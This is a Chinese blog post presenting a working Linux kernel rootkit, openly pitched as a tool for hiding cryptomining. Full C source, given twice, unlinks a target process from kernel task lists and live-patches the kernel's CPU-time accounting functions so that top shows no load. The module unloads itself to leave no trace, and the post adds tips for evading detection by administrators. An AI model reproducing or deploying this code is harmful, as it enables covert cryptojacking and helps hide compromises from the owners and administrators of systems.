Linux系统中彻底隐藏你的进程(rootkit挖矿利器哦)

最近写了一篇隐藏Linux进程的文章：
https://blog.csdn.net/dog250/article/details/105270500

上文和本文的声明： 有ROOT权限！有ROOT权限！有ROOT权限！

也许你会说，有ROOT还有啥干不了的啊！

哈哈，大部分人有ROOT依然也啥也干不了。至少，本文能让你学点手艺也不错。

感觉这个还是比较好玩的，简单直接磊落，没有那么多花活儿，寥寥几行代码，干干净净，同样在ROOT权限下，这个方案绝对是任何用户态PRELOAD库，hook procfs等方案的降维打击！这些库方案都太复杂了，没有编程功底搞不定的，像我这种不怎么会编程的，肯定玩不转。

但上文中的内核方案依然还是比较朴素，还是容易被经理抓到。

虽然ps看不到隐藏的进程，但是top中的CPU汇总还是有的啊。比如说，我隐藏了执行死循环的loop进程，但是top是这样子的：

Tasks: 122 total,   1 running, 121 sleeping,   0 stopped,   0 zombie
%Cpu0  :  0.0 us,  0.3 sy,  0.0 ni, 99.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu1  :100.0 us,  0.0 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu2  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu3  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016488 total,   702116 free,    99332 used,   215040 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   770848 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 1363 root      20   0       0      0      0 S   0.3  0.0   0:00.07 kworker/0:3
    1 root      20   0  125360   3800   2496 S   0.0  0.4   0:00.79 systemd
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 kthreadd
    3 root      20   0       0      0      0 S   0.0  0.0   0:00.00 ksoftirqd/0

虽然看不到loop进程，但是CPU1的100.0 us还是真真切切的，经理肯定会注意到的…

所以说，需要hook住account_user_time这个函数，stub函数中加入下面的逻辑：

static unsigned int pid = 0;
module_param(pid, int, 0444);

void stub_func(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
    if (p->pid == pid)  {
    	// 如果pid是我们要隐藏的，skip掉account_user_time的堆栈。
    	// 直接返回account_user_time的调用者。
        asm ("pop %rbp; pop %r11; retq;");
    }
    // 如果pid不是我们要隐藏的，就直接返回原始的account_user_time函数。
}

此外，还有一个问题，我们实现进程隐藏的内核模块必须是oneshot的，必须干完就走。它不能一直驻留在系统中，否则经理肯定会查到有一个奇怪的内核模块。

也就是说，模块的init函数必须返回非0！这意味着模块的内核也会被释放，所以我们的stub函数需要额外的申请内存，且该内存还必须在account_user_time函数可以32位相对跳转的范围内。

嗯，嗯，嗯，貌似可以了，模块的init函数把事情做完后，事了拂衣去，不留身与名，空留一个stub_func来过滤account_user_time，不错，不错！

但是，且慢！

pid是个模块参数，当模块由于init函数返回非0而加载失败后，其实它的内存将会全部释放，包括pid参数，也就是说，stub_func中无法访问pid参数变量！因此，stub_func中的cmp指令比较必须采用立即数的方式，也就是说，我们需要通过模块的pid参数来校准这个stub_func中的cmp操作数。

好了，上代码了：

// hide_process.c
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/cpu.h>

char *stub = NULL;
char *addr = NULL;

static unsigned int pid = 0;
module_param(pid, int, 0444);

// stub函数模版
void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
	// 先用0x11223344来占位，模块加载的时候通过pid参数来校准
	if (p->pid == 0x11223344)  {
		asm ("pop %rbp; pop %r11; retq;");
	}
}

#define FTRACE_SIZE   	5
#define POKE_OFFSET		0
#define POKE_LENGTH		5

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

// 需要额外分配的stub函数
char *hide_account_user_time = NULL;

void hide_process(void)
{
	struct task_struct *task = NULL;
	struct pid_link *link = NULL;

	struct hlist_node *node = NULL;
	task = pid_task(find_vpid(pid), PIDTYPE_PID);
	link = &task->pids[PIDTYPE_PID];

	list_del_rcu(&task->tasks);
	INIT_LIST_HEAD(&task->tasks);
	node = &link->node;
	hlist_del_rcu(node);
	INIT_HLIST_NODE(node);
	node->pprev = &node;
}

static int __init hotfix_init(void)
{
	unsigned char jmp_call[POKE_LENGTH];
	// 32位相对跳转偏移
	s32 offset;
	// 需要校准的pid指针位置。
	unsigned int *ppid;

	addr = (void *)kallsyms_lookup_name("account_user_time");
	if (!addr) {
		printk("一切还没有准备好！请先加载sample模块。\n");
		return -1;
	}

	// 必须采用带range的内存分配函数，否则我们无法保证account_user_time可以32位相对跳转过来！
	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
		printk("还没开始，就已经结束。");
		return -1;
	}

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)
	// 为了可以在32位范围内相对跳转，必须在START后分配stub func内存
	hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
	if (!hide_account_user_time) {
		printk("很遗憾，内存不够了\n");
		return -1;
	}

	// 把模版函数拷贝到真正的stub函数中
	memcpy(hide_account_user_time, stub_func_template, 0x25);
	// 校准pid立即数
	ppid = (unsigned int *)&hide_account_user_time[12];
	// 使用立即数来比较pid，不然模块释放掉以后pid参数将不再可读
	*ppid = pid;

	stub = (void *)hide_account_user_time;
	offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

	jmp_call[0] = 0xe8;
	(*(s32 *)(&jmp_call[1])) = offset;
	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 隐藏进程，将其从数据结构中摘除
	hide_process();

	// 事了拂衣去，不留痕迹
	return -1;
}

static void __exit hotfix_exit(void)
{
	// 事了拂衣去了，什么都没有留下，也不必再过问！
}

module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

来吧！看个效果。

首先我们准备一个恶意的且消耗CPU的程序：

#include <stdio.h>
int main()
{
	while(1) {
		// 暂且不打印，因为sys还没有hook
		//printf("经理的皮鞋进水了，但是不会胖，如果胖了请打经理电话\n");
	}
}

运行它，看top：

%Cpu0  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu1  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu2  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu3  :100.0 us,  0.0 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016488 total,   727332 free,    96040 used,   193116 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   775868 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 1494 root      20   0    4212    356    280 R 100.0  0.0   0:10.15 loop
   63 root      20   0       0      0      0 S   0.3  0.0   0:00.16 kworker/0:2

我们看到，loop进程的pid是1494，我们以它为参数，加载模块：

[root@localhost test]# insmod ../hide_process.ko pid=1494

再看top：

%Cpu0  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu1  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu2  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
%Cpu3  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  1016488 total,   726620 free,    96772 used,   193096 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.   775148 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
    1 root      20   0  190956   3836   2496 S   0.0  0.4   0:00.79 systemd
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 kthreadd
    3 root      20   0       0      0      0 S   0.0  0.0   0:00.00 ksoftirqd/0

干干净净的！经理会兴叹。

好了，效果已经演示过了，来说说这个程序的问题。

首先，由于stub函数hook后只是一个pid判断，所以它的效果就是只能隐藏一个进程的CPU利用情况。如果使用一个链表的话，就比较完美，然而用汇编操作链表会引入很长的篇幅，没有意思，会让人失去兴致。

此外，我这里仅仅是hook了account_user_time这么一个函数，其实在时钟tick的处理中，要想彻底隐藏某个进程不让其时间被记账，还需要hook别的几个函数，但同样，这会引入篇幅，不利于展示手艺。所以，这里同样不再赘述这方面的完整解。

再次，本文中我这个例子是事了拂衣去的效果，它的本意就是前脚跨出大门，后脚就不准备再跨进大门的，所以没有打印被隐藏进程的地址信息，因此也就很难将其恢复了。这里的考虑依然是怕经理发现，试问，被隐藏的进程地址信息打印到哪里呢？只要打印出来，就有可能被经理抓到把柄。

经理抓到的话，就会坠入唯心主义的深渊！我们不能犯形而上学的错误。

最后，由于我们hook了时间统计函数，有经验的人肯定会想到check这个函数有没有被hook，这么一下子顺藤摸瓜，直接就露馅了…所以说，本质的做法还是要在被隐藏进程的自身来做。比如寻找一个定时机制，偷偷插入不断递减被隐藏进程CPU使用计数器的逻辑。

嗯，在中间hook一个不熟知的函数，比在开头hook一个熟知的函数，要安全很多。

附：可以同时实现隐进程隐藏，user CPU隐藏，system CPU隐藏的Linux Rootkit（需要根据Linux内核具体版本微调）

我做的这些其实就是一个rootkit，我这个rootkit和之前网上能找到的不同。事实上，我一开始并不知道我做的这个是一个rootkit，但从最终效果上看，它就是。

一般而言，所谓的rootkit都会做下面几件事：

• hook住proc的文件系统操作。
• 把内核模块隐藏掉。
• …

但我这个不是如此的实现。我这个采用了完全不同的方法：

• 直接把task从内核管理结构中摘除。
• hook掉被隐藏进程的时间计数。
• oneshot执行上述动作，不留内核模块。

而且我这个最大的特点就是 超级简单！！

另外，我这种方法中，既然已经做到了包括CPU利用率的100%隐藏，你也就不必把server逻辑放在内核里面了，放在用户态即可，反正经理啥也看不到！哈哈哈！

如果你真的还是要在内核中放一个server，那就搞一个内核线程呗，隐藏的方法完全一样！

// hide_process.c
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/sched.h>
#include <linux/cpu.h>

char *stub = NULL;
char *addr_user = NULL;
char *addr_sys = NULL;

static unsigned int pid = 0;
module_param(pid, int, 0444);

// stub函数模版
void stub_func_template(struct task_struct *p, u64 cputime, u64 cputime_scaled)
{
	// 先用0x11223344来占位，模块加载的时候通过pid参数来校准
	if (p->pid == 0x11223344)  {
		asm ("pop %rbp; pop %r11; retq;");
	}
}

#define FTRACE_SIZE   	5
#define POKE_OFFSET		0
#define POKE_LENGTH		5

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

// 需要额外分配的stub函数
char *hide_account_user_time = NULL;

void hide_process(void)
{
	struct task_struct *task = NULL;
	struct pid_link *link = NULL;

	struct hlist_node *node = NULL;
	task = pid_task(find_vpid(pid), PIDTYPE_PID);
	link = &task->pids[PIDTYPE_PID];

	list_del_rcu(&task->tasks);
	INIT_LIST_HEAD(&task->tasks);
	node = &link->node;
	hlist_del_rcu(node);
	INIT_HLIST_NODE(node);
	node->pprev = &node;
}

static int __init hotfix_init(void)
{
	unsigned char jmp_call[POKE_LENGTH];
	// 32位相对跳转偏移
	s32 offset;
	// 需要校准的pid指针位置。
	unsigned int *ppid;

	addr_user = (void *)kallsyms_lookup_name("account_user_time");
	addr_sys = (void *)kallsyms_lookup_name("account_system_time");
	if (!addr_user || !addr_sys) {
		printk("一切还没有准备好！请先加载sample模块。\n");
		return -1;
	}

	// 必须采用带range的内存分配函数，否则我们无法保证account_user_time可以32位相对跳转过来！
	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
		printk("还没开始，就已经结束。");
		return -1;
	}

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)
	// 为了可以在32位范围内相对跳转，必须在START后分配stub func内存
	hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
	if (!hide_account_user_time) {
		printk("很遗憾，内存不够了\n");
		return -1;
	}

	// 把模版函数拷贝到真正的stub函数中
	memcpy(hide_account_user_time, stub_func_template, 0x25);
	// 校准pid立即数
	ppid = (unsigned int *)&hide_account_user_time[12];
	// 使用立即数来比较pid，不然模块释放掉以后pid参数将不再可读
	*ppid = pid;

	stub = (void *)hide_account_user_time;

	jmp_call[0] = 0xe8;

	// hook掉user时间计数函数
	offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 同理hook掉sys时间计数函数
	offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 隐藏进程，将其从数据结构中摘除
	hide_process();

	// 事了拂衣去，不留痕迹
	return -1;
}

static void __exit hotfix_exit(void)
{
	// 事了拂衣去了，什么都没有留下，也不必再过问！
}

module_init(hotfix_init);
module_exit(hotfix_exit);
MODULE_LICENSE("GPL");

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浙江温州皮鞋湿，下雨进水不会胖。